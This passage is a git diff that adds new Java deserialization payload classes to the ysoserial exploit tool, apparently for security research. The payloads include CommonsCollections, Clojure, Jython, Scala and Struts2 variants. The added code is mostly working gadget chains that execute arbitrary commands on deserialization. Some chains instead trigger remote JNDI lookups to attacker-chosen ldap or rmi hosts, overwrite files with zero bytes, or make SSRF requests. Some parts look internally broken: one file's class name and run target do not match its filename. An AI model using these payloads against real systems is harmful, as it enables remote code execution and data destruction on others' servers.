diff --git a/README.md b/README.md index b395c9a6..6dfa8c16 100644 --- a/README.md +++ b/README.md @@ -43,44 +43,46 @@ are not responsible or liable for misuse of the software. Use responsibly. ```shell $ java -jar ysoserial.jar Y SO SERIAL? -Usage: java -jar ysoserial.jar [payload] '[command]' +Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]' Available payload types: - Payload Authors Dependencies - ------- ------- ------------ - AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2 - BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5 - C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11 - Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0 - Clojure @JackOfMostTrades clojure:1.8.0 - CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 - CommonsCollections1 @frohoff commons-collections:3.1 - CommonsCollections2 @frohoff commons-collections4:4.0 - CommonsCollections3 @frohoff commons-collections:3.1 - CommonsCollections4 @frohoff commons-collections4:4.0 - CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1 - CommonsCollections6 @matthias_kaiser commons-collections:3.1 - CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1 - FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4 - Groovy1 @frohoff groovy:2.3.9 - Hibernate1 @mbechler - Hibernate2 @mbechler - JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 - JRMPClient @mbechler - JRMPListener @mbechler - JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 - JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 - Jdk7u21 @frohoff - Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2 - MozillaRhino1 @matthias_kaiser js:1.7R2 - MozillaRhino2 @_tint0 js:1.7R2 - Myfaces1 @mbechler - Myfaces2 @mbechler - ROME @mbechler rome:1.0 - Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE - Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 - URLDNS @gebl - Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14 - Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4 + Payload Authors Dependencies + ------- ------- ------------ + Atomikos @pwntester, @sciccone transactions-osgi:4.0.6, jta:1.1 + BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5 + C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11 + Clojure @JackOfMostTrades clojure:1.8.0 + CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 + CommonsCollections1 @frohoff commons-collections:3.1 + CommonsCollections2 @frohoff commons-collections4:4.0 + CommonsCollections3 @frohoff commons-collections:3.1 + CommonsCollections4 @frohoff commons-collections4:4.0 + CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1 + CommonsCollections6 @matthias_kaiser commons-collections:3.1 + CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1 + FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4 + Groovy1 @frohoff groovy:2.3.9 + Hibernate1 @mbechler + Hibernate2 @mbechler + JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 + JRMPClient @mbechler + JRMPListener @mbechler + JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 + JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 + Jdk7u21 @frohoff + Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2 + MozillaRhino1 @matthias_kaiser js:1.7R2 + MozillaRhino2 @_tint0 js:1.7R2 + Myfaces1 @mbechler + Myfaces2 @mbechler + ROME @mbechler rome:1.0 + Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE + Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 + SpringJta @zerothoughts, @sciccone spring-tx:5.1.7.RELEASE, spring-context:5.1.7.RELEASE, jta:1.1 + Struts2JasperReports @sciccone struts2-core:2.5.20, struts2-jasperreports-plugin:2.5.20 + URLDNS @gebl + Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14 + Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4 + ``` ## Examples diff --git a/pom.xml b/pom.xml index 97a10db9..ee1fbc6f 100644 --- a/pom.xml +++ b/pom.xml @@ -277,9 +277,9 @@ 1.7R2 - javassist - javassist - 3.12.0.GA + javassist + javassist + 3.12.0.GA org.jboss.weld @@ -326,6 +326,36 @@ vaadin-server 7.7.14 + + org.scala-lang + scala-library + 2.12.6 + + com.atomikos + transactions-osgi + 4.0.6 + + + org.springframework + spring-tx + 5.1.7.RELEASE + + + org.springframework + spring-context + 5.1.7.RELEASE + + + org.apache.struts + struts2-core + 2.5.20 + + + org.apache.struts + struts2-jasperreports-plugin + 2.5.20 + + org.aspectj aspectjweaver @@ -336,6 +366,11 @@ click-nodeps 2.3.0 + + org.ceylon-lang + ceylon.language + 1.3.3 + diff --git a/src/main/java/ysoserial/payloads/Atomikos.java b/src/main/java/ysoserial/payloads/Atomikos.java new file mode 100644 index 00000000..f21e6880 --- /dev/null +++ b/src/main/java/ysoserial/payloads/Atomikos.java @@ -0,0 +1,77 @@ +package ysoserial.payloads; + +import javax.management.BadAttributeValueExpException; + +import com.atomikos.icatch.jta.RemoteClientUserTransaction; + +import ysoserial.payloads.annotation.Authors; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.annotation.PayloadTest; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +/** +* +* Gadget chain: +* +* javax/management/BadAttributeValueExpException.readObject() +* com/atomikos/icatch/jta/RemoteClientUserTransaction.toString() +* com/atomikos/icatch/jta/RemoteClientUserTransaction.checkSetup() +* javax/naming/InitialContext.lookup() +* +* +* Arguments: +* - (rmi,ldap)://[:]/ +* +* +* @author pwntester +* payload added by sciccone +* +* This gadget chain was also discovered by pwntester: +* https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf +* +*/ +@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest") +@Dependencies( { "com.atomikos:transactions-osgi:4.0.6", "javax.transaction:jta:1.1" } ) +@Authors({ Authors.PWNTESTER, Authors.SCICCONE }) +public class Atomikos implements ObjectPayload { + + @Override + public Object getObject(String command) throws Exception { + + // validate command + int sep = command.lastIndexOf('/'); + if ( sep < 0 || (!command.startsWith("ldap") && !command.startsWith("rmi"))) + throw new IllegalArgumentException("Command format is: " + command + + "(rmi,ldap)://[:]/"); + + String url = command.substring(0, sep); + String className = command.substring(sep + 1); + + // create factory based on url + String initialContextFactory; + if (url.startsWith("ldap")) + initialContextFactory = "com.sun.jndi.ldap.LdapCtxFactory"; + else + initialContextFactory = "com.sun.jndi.rmi.registry.RegistryContextFactory"; + + // create object + RemoteClientUserTransaction rcut = new RemoteClientUserTransaction(); + + // set values using reflection + Reflections.setFieldValue(rcut, "initialContextFactory", initialContextFactory); + Reflections.setFieldValue(rcut, "providerUrl", url); + Reflections.setFieldValue(rcut, "userTransactionServerLookupName", className); + + // create exception + BadAttributeValueExpException exception = new BadAttributeValueExpException(null); + Reflections.setFieldValue(exception, "val", rcut); + + return exception; + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(Atomikos.class, args); + } +} diff --git a/src/main/java/ysoserial/payloads/Ceylon.java b/src/main/java/ysoserial/payloads/Ceylon.java new file mode 100644 index 00000000..f4edfdec --- /dev/null +++ b/src/main/java/ysoserial/payloads/Ceylon.java @@ -0,0 +1,23 @@ +package ysoserial.payloads; + +import com.redhat.ceylon.compiler.java.language.SerializationProxy; + +import ysoserial.payloads.annotation.Authors; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; + +@Authors({ Authors.KULLRICH }) +@Dependencies({ "org.ceylon-lang:ceylon.language:1.3.3" }) +public class Ceylon implements ObjectPayload +{ + + // + // Probably the simplest deser gadget ever ;-) + // + @Override + public Object getObject(String command) throws Exception { + final Object templates = Gadgets.createTemplatesImpl(command); + + return new SerializationProxy (templates, templates.getClass(), "getOutputProperties"); + } +} diff --git a/src/main/java/ysoserial/payloads/Clojure2.java b/src/main/java/ysoserial/payloads/Clojure2.java new file mode 100644 index 00000000..1652f86e --- /dev/null +++ b/src/main/java/ysoserial/payloads/Clojure2.java @@ -0,0 +1,61 @@ +package ysoserial.payloads; + +import clojure.lang.Iterate; +import ysoserial.Strings; +import ysoserial.payloads.annotation.Authors; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +import java.util.Arrays; +import java.util.Map; + +/* + Gadget chain: + ObjectInputStream.readObject() + HashMap.readObject() + clojure.lang.ASeq.hashCode() + clojure.lang.Iterate.first() -> null + clojure.lang.Iterate.next() -> new Iterate(f, null, UNREALIZED_SEED) + clojure.lang.Iterate.first() -> this.f.invoke(null) + clojure.core$constantly$fn__4614.invoke() + clojure.main$eval_opt.invoke() + + Requires: + org.clojure:clojure + Versions since 1.8.0 are vulnerable; for earlier versions see Clojure.java. + Versions up to 1.10.0-alpha4 are known to be vulnerable. + */ +@Dependencies({"org.clojure:clojure:1.8.0"}) +@Authors({ Authors.JACKOFMOSTTRADES }) +public class Clojure2 extends PayloadRunner implements ObjectPayload> { + + public Map getObject(final String command) throws Exception { + String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\""); + + final String clojurePayload = + String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd); + + Iterate model = Reflections.createWithoutConstructor(Iterate.class); + Object evilFn = + new clojure.core$comp().invoke( + new clojure.main$eval_opt(), + new clojure.core$constantly().invoke(clojurePayload)); + + // Wrap the evil function with a composition that invokes the payload, then throws an exception. Otherwise Iterable() + // ends up triggering the payload in an infinite loop as it tries to compute the hashCode. + evilFn = new clojure.core$comp().invoke( + new clojure.main$eval_opt(), + new clojure.core$constantly().invoke("(throw (Exception. \"Some text\"))"), + evilFn); + + Reflections.setFieldValue(model, "f", evilFn); + return Gadgets.makeMap(model, null); + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Clojure2.class, args); + } + +} diff --git a/src/main/java/ysoserial/payloads/CommonsBeanutils2.java b/src/main/java/ysoserial/payloads/CommonsBeanutils2.java new file mode 100644 index 00000000..29dca199 --- /dev/null +++ b/src/main/java/ysoserial/payloads/CommonsBeanutils2.java @@ -0,0 +1,44 @@ +package ysoserial.payloads; + +import org.apache.commons.beanutils.BeanComparator; +import ysoserial.payloads.annotation.Authors; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +import java.util.PriorityQueue; + +// Origin Detective is PHITHON From +// https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"}) +@Authors({Authors.K4n5ha0}) +public class CommonsBeanutils2 implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + final Object templates = Gadgets.createTemplatesImpl(command); + // mock method name until armed + final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); + + // create queue with numbers and basic comparator + final PriorityQueue queue = new PriorityQueue(2, comparator); + // stub data for replacement later + queue.add("1"); + queue.add("1"); + + // switch method called by comparator + Reflections.setFieldValue(comparator, "property", "outputProperties"); + + // switch contents of queue + final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + queueArray[0] = templates; + queueArray[1] = templates; + + return queue; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsBeanutils2.class, args); + } +} diff --git a/src/main/java/ysoserial/payloads/CommonsCollections8.java b/src/main/java/ysoserial/payloads/CommonsCollections8.java new file mode 100644 index 00000000..add2a52a --- /dev/null +++ b/src/main/java/ysoserial/payloads/CommonsCollections8.java @@ -0,0 +1,56 @@ +package ysoserial.payloads; + +import org.apache.commons.collections4.bag.TreeBag; +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.InvokerTransformer; +import ysoserial.payloads.annotation.Authors; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +/* + Gadget chain: + org.apache.commons.collections4.bag.TreeBag.readObject + org.apache.commons.collections4.bag.AbstractMapBag.doReadObject + java.util.TreeMap.put + java.util.TreeMap.compare + org.apache.commons.collections4.comparators.TransformingComparator.compare + org.apache.commons.collections4.functors.InvokerTransformer.transform + java.lang.reflect.Method.invoke + sun.reflect.DelegatingMethodAccessorImpl.invoke + sun.reflect.NativeMethodAccessorImpl.invoke + sun.reflect.NativeMethodAccessorImpl.invoke0 + com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer + ... (TemplatesImpl gadget) + java.lang.Runtime.exec + */ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"org.apache.commons:commons-collections4:4.0"}) +@Authors({ Authors.NAVALORENZO }) +public class CommonsCollections8 extends PayloadRunner implements ObjectPayload { + + public TreeBag getObject(final String command) throws Exception { + Object templates = Gadgets.createTemplatesImpl(command); + + // setup harmless chain + final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); + + // define the comparator used for sorting + TransformingComparator comp = new TransformingComparator(transformer); + + // prepare CommonsCollections object entry point + TreeBag tree = new TreeBag(comp); + tree.add(templates); + + // arm transformer + Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); + + return tree; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsCollections8.class, args); + } + +} diff --git a/src/main/java/ysoserial/payloads/CommonsCollections9.java b/src/main/java/ysoserial/payloads/CommonsCollections9.java new file mode 100644 index 00000000..6f1bfe00 --- /dev/null +++ b/src/main/java/ysoserial/payloads/CommonsCollections9.java @@ -0,0 +1,102 @@ +package ysoserial.payloads; + +import java.lang.reflect.Field; +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; + +import javax.management.BadAttributeValueExpException; + +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import org.apache.commons.collections.map.DefaultedMap; + +import ysoserial.payloads.annotation.Authors; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.annotation.PayloadTest; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.JavaVersion; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +/* + Gadget chain: + ObjectInputStream.readObject() + AnnotationInvocationHandler.readObject() + Map(Proxy).entrySet() + AnnotationInvocationHandler.invoke() + DefaultedMap.get() + ChainedTransformer.transform() + ConstantTransformer.transform() + InvokerTransformer.transform() + Method.invoke() + Class.getMethod() + InvokerTransformer.transform() + Method.invoke() + Runtime.getRuntime() + InvokerTransformer.transform() + Method.invoke() + Runtime.exec() + + Requires: + commons-collections + */ +/* +This only works in JDK 8u76 and WITHOUT a security manager + +https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70 + */ +//@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()") +@SuppressWarnings({"rawtypes", "unchecked"}) +@PayloadTest ( precondition = "isApplicableJavaVersion") +@Dependencies({"commons-collections:commons-collections:3.2.1"}) +@Authors({ Authors.MEIZJM3I}) +public class CommonsCollections7 extends PayloadRunner implements ObjectPayload { + + public BadAttributeValueExpException getObject(final String command) throws Exception { + final String[] execArgs = new String[] { command }; + // inert chain for setup + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{ new ConstantTransformer(1) }); + // real chain for after setup + final Transformer[] transformers = new Transformer[] { + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[] { + String.class, Class[].class }, new Object[] { + "getRuntime", new Class[0] }), + new InvokerTransformer("invoke", new Class[] { + Object.class, Object[].class }, new Object[] { + null, new Object[0] }), + new InvokerTransformer("exec", + new Class[] { String.class }, execArgs), + new ConstantTransformer(1) }; + + final Map innerMap = new HashMap(); + final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain); + + TiedMapEntry entry = new TiedMapEntry(defaultedmap, "foo"); + + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, entry); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain + + return val; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsCollections5.class, args); + } + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isBadAttrValExcReadObj(); + } + +} diff --git a/src/main/java/ysoserial/payloads/Jython2.java b/src/main/java/ysoserial/payloads/Jython2.java new file mode 100644 index 00000000..685ffc29 --- /dev/null +++ b/src/main/java/ysoserial/payloads/Jython2.java @@ -0,0 +1,57 @@ +package ysoserial.payloads; + +import org.python.core.*; +import java.math.BigInteger; +import java.lang.reflect.Proxy; +import java.util.Comparator; +import java.util.PriorityQueue; +import ysoserial.payloads.annotation.Authors; +import ysoserial.payloads.util.Reflections; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.PayloadRunner; + +/** + * Credits: Alvaro Munoz (@pwntester), Christian Schneider (@cschneider4711), + * and Yorick Koster (@ykoster) + * + * This version of Jython2 executes a command through os.system(). + * Based on Jython1 from @pwntester & @cschneider4711 + */ + +@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) +@Dependencies({ "org.python:jython-standalone:2.5.2" }) +@Authors({ Authors.PWNTESTER, Authors.CSCHNEIDER4711, Authors.YKOSTER }) +public class Jython2 extends PayloadRunner implements ObjectPayload { + + public PriorityQueue getObject(String command) throws Exception { + String code = + "740000" + // 0 LOAD_GLOBAL 0 (eval) + "640100" + // 3 LOAD_CONST 1 ("__import__('os', globals(), locals(), ['system'], 0).system('')") + "830100" + // 6 CALL_FUNCTION 1 + "01" + // 9 POP_TOP + "640000" + //10 LOAD_CONST 0 (None) + "53"; //13 RETURN_VALUE + PyObject[] consts = new PyObject[]{new PyString(""), new PyString("__import__('os', globals(), locals(), ['system'], 0).system('" + command.replace("'", "\\'") + "')")}; + String[] names = new String[]{"eval"}; + + // Generating PyBytecode wrapper for our python bytecode + PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "", 0, ""); + Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray()); + + // Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method + PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj); + + // Prepare Trigger Gadget + Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); + PriorityQueue priorityQueue = new PriorityQueue(2, comparator); + Object[] queue = new Object[] {1,1}; + Reflections.setFieldValue(priorityQueue, "queue", queue); + Reflections.setFieldValue(priorityQueue, "size", 2); + + return priorityQueue; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Jython2.class, args); + } +} \ No newline at end of file diff --git a/src/main/java/ysoserial/payloads/Scala.java b/src/main/java/ysoserial/payloads/Scala.java new file mode 100644 index 00000000..50c827be --- /dev/null +++ b/src/main/java/ysoserial/payloads/Scala.java @@ -0,0 +1,106 @@ +package ysoserial.payloads; + +import scala.Function0; +import scala.Function1; +import scala.PartialFunction; +import scala.math.Ordering$; +import scala.sys.process.processInternal$; +import ysoserial.payloads.annotation.Authors; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +import java.io.File; +import java.net.URL; +import java.util.Comparator; +import java.util.PriorityQueue; + +/* + Two exploits using classes in the scala library. + * CreateZeroFile will create a file at the target path, or will replace the target path with a 0 byte file. + Could be useful as a DoS attack by replacing some app class/war? + * Ssrf will perform a GET request to the given URL. + + Requires: + org.scala-lang:scala-library + The below hard-codes some anonymous inner class names so it is likely bound to the 2.12.6 release library. + Some slight variations will probably work with other versions. + */ + +@Dependencies({"org.scala-lang:scala-library:2.12.6"}) +@Authors({ Authors.JACKOFMOSTTRADES }) +public class Scala { + + private static PriorityQueue createExploit(Function0 exploitFunction) throws Exception { + PartialFunction onf = processInternal$.MODULE$.onInterrupt(exploitFunction); + + Function1 f = new PartialFunction.OrElse(onf, onf); + + // create queue with numbers and basic comparator + final PriorityQueue queue = new PriorityQueue(2, new Comparator() { + @Override + public int compare(Throwable o1, Throwable o2) { + return 0; + } + }); + + // stub data for replacement later + queue.add(new Exception()); + queue.add(new Exception()); + Reflections.setFieldValue(queue, "comparator", Ordering$.MODULE$.by(f, null)); + + // switch contents of queue + final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + queueArray[0] = new InterruptedException(); + queueArray[1] = new InterruptedException(); + + return queue; + } + + /* + Gadget chain: + ObjectInputStream.readObject() + PriorityQueue.readObject() + scala.math.Ordering$$anon$5.compare() + scala.PartialFunction$OrElse.apply() + scala.sys.process.processInternal$$anonfun$onIOInterrupt$1.applyOrElse() + scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3.apply() + java.io.FileOutputStream.() + */ + public static class CreateZeroFile extends PayloadRunner implements ObjectPayload> { + public PriorityQueue getObject(final String path) throws Exception { + Class clazz = Class.forName("scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3"); + Function0 pbf = (Function0) Reflections.createWithoutConstructor(clazz); + Reflections.setFieldValue(pbf, "file$1", new File(path)); + Reflections.setFieldValue(pbf, "append$1", false); + + return createExploit(pbf); + } + } + + /* + Gadget chain: + ObjectInputStream.readObject() + PriorityQueue.readObject() + scala.math.Ordering$$anon$5.compare() + scala.PartialFunction$OrElse.apply() + scala.sys.process.processInternal$$anonfun$onIOInterrupt$1.applyOrElse() + scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1.apply() + java.net.URL.openStream() + */ + public static class Ssrf extends PayloadRunner implements ObjectPayload> { + public PriorityQueue getObject(final String url) throws Exception { + Class clazz = Class.forName("scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1"); + Function0 pbf = (Function0)Reflections.createWithoutConstructor(clazz); + Reflections.setFieldValue(pbf, "url$1", new URL(url)); + + return createExploit(pbf); + } + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Scala.CreateZeroFile.class, new String[]{"/tmp/poc.txt"}); + //PayloadRunner.run(Scala.Ssrf.class, new String[]{"http://localhost:7001/foo"}); + } + +} diff --git a/src/main/java/ysoserial/payloads/SpringJta.java b/src/main/java/ysoserial/payloads/SpringJta.java new file mode 100644 index 00000000..30aa4547 --- /dev/null +++ b/src/main/java/ysoserial/payloads/SpringJta.java @@ -0,0 +1,74 @@ +package ysoserial.payloads; + +import org.springframework.transaction.jta.JtaTransactionManager; + +import ysoserial.payloads.annotation.Authors; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.annotation.PayloadTest; +import ysoserial.payloads.util.PayloadRunner; + +/** +* +* Gadget chain: +* +* org.springframework.transaction.jta.JtaTransactionManager.readObject() +* org.springframework.transaction.jta.JtaTransactionManager.initUserTransactionAndTransactionManager() +* org.springframework.transaction.jta.JtaTransactionManager.lookupUserTransaction() +* org.springframework.jndi.JndiTemplate.lookup() +* javax.naming.InitialContext.lookup() +* +* +* Arguments: +* - (rmi,ldap)://[:]/ +* +* +* @author zerothoughts +* payload added by sciccone +* +* This gadget was discovered by zerothoughts: +* https://github.com/zerothoughts/spring-jndi +* +*/ +@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest") +@Dependencies( { + "org.springframework:spring-tx:5.1.7.RELEASE", + "org.springframework:spring-context:5.1.7.RELEASE", + "javax.transaction:jta:1.1" + } ) +@Authors({ Authors.ZEROTHOUGHTS, Authors.SCICCONE }) +public class SpringJta implements ObjectPayload, DynamicDependencies { + + @Override + public Object getObject(String command) throws Exception { + + // validate command + if ( !(command.startsWith("ldap://") || command.startsWith("rmi://")) ) + throw new IllegalArgumentException("Command format is: " + + "(rmi,ldap)://[:]/"); + + // create object + JtaTransactionManager jta = new JtaTransactionManager(); + jta.setUserTransactionName(command); + + return jta; + } + + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(SpringJta.class, args); + } + + + // add dependencies for testing + public static String[] getDependencies () { + return new String[] { + "org.springframework:spring-tx:5.1.7.RELEASE", + "org.springframework:spring-context:5.1.7.RELEASE", + "org.springframework:spring-beans:5.1.7.RELEASE", + "org.springframework:spring-core:5.1.7.RELEASE", + "commons-logging:commons-logging:1.2", + "javax.transaction:jta:1.1" + }; + + } +} diff --git a/src/main/java/ysoserial/payloads/Struts2JasperReports.java b/src/main/java/ysoserial/payloads/Struts2JasperReports.java new file mode 100644 index 00000000..4e2bc967 --- /dev/null +++ b/src/main/java/ysoserial/payloads/Struts2JasperReports.java @@ -0,0 +1,115 @@ +package ysoserial.payloads; + +import java.lang.reflect.Constructor; +import java.util.HashMap; + +import org.apache.struts2.views.jasperreports.ValueStackShadowMap; + +import com.opensymphony.xwork2.ActionContext; +import com.opensymphony.xwork2.TextProvider; +import com.opensymphony.xwork2.config.Configuration; +import com.opensymphony.xwork2.config.ConfigurationManager; +import com.opensymphony.xwork2.config.providers.XWorkConfigurationProvider; +import com.opensymphony.xwork2.conversion.impl.XWorkConverter; +import com.opensymphony.xwork2.inject.Container; +import com.opensymphony.xwork2.ognl.OgnlValueStack; +import com.opensymphony.xwork2.ognl.accessor.CompoundRootAccessor; + +import ysoserial.payloads.annotation.Authors; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.annotation.PayloadTest; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; + +/** +* +* Gadget chain: +* +* +* java/util/HashMap.readObject(ObjectInputStream) +* java/util/HashMap.putVal(int, K, V, boolean, boolean) +* org/apache/struts2/views/jasperreports/ValueStackShadowMap(AbstractMap).equals(Object) +* org/apache/struts2/views/jasperreports/ValueStackShadowMap.get(String) +* com/opensymphony/xwork2/ognl/OgnlValueStack.findValue(String) //keyExpression +* +* Execution of embedded OGNL invoking template.newTrasformer (object put in the valueStack) +* +* TemplatesImpl.newTransformer() +* TemplatesImpl.getTransletInstance() +* TemplatesImpl.defineTransletClasses() +* TemplatesImpl.TransletClassLoader.defineClass() +* Pwner*(Javassist-generated). +* Runtime.exec() +* +* +* @author sciccone +* +*/ +@SuppressWarnings({ "unchecked" }) +@PayloadTest(harness="ysoserial.test.payloads.Struts2JasperReportsTest") +@Dependencies( { "org.apache.struts:struts2-core:2.5.20", "org.apache.struts:struts2-jasperreports-plugin:2.5.20" } ) +@Authors({ Authors.SCICCONE }) +public class Struts2JasperReports implements ObjectPayload, DynamicDependencies { + + @Override + public Object getObject(String command) throws Exception { + + // create required objects via reflection + Constructor c1 = XWorkConverter.class.getDeclaredConstructor(); + Constructor c2 = OgnlValueStack.class.getDeclaredConstructor( + XWorkConverter.class, CompoundRootAccessor.class, TextProvider.class, boolean.class); + c1.setAccessible(true); + c2.setAccessible(true); + XWorkConverter xworkConverter = c1.newInstance(); + OgnlValueStack ognlValueStack = c2.newInstance(xworkConverter,null,null,true); + + // inject templateImpl with embedded command + ognlValueStack.set("template", Gadgets.createTemplatesImpl(command)); + + // create shadowMaps + ValueStackShadowMap shadowMap1 = new ValueStackShadowMap(ognlValueStack); + ValueStackShadowMap shadowMap2 = new ValueStackShadowMap(ognlValueStack); + + // execute OGNL "(template.newTransformer()) upon deserialisation + String keyExpression = "(template.newTransformer())"; + shadowMap1.put(keyExpression, null); + shadowMap2.put(keyExpression, null); + + return Gadgets.makeMap(shadowMap1, shadowMap2); + } + + + public static void main ( final String[] args ) throws Exception { + initializeThreadLocalMockContainerForTesting(); + PayloadRunner.run(Struts2JasperReports.class, args); + } + + + /** + * Create mock container and mock actionContext, 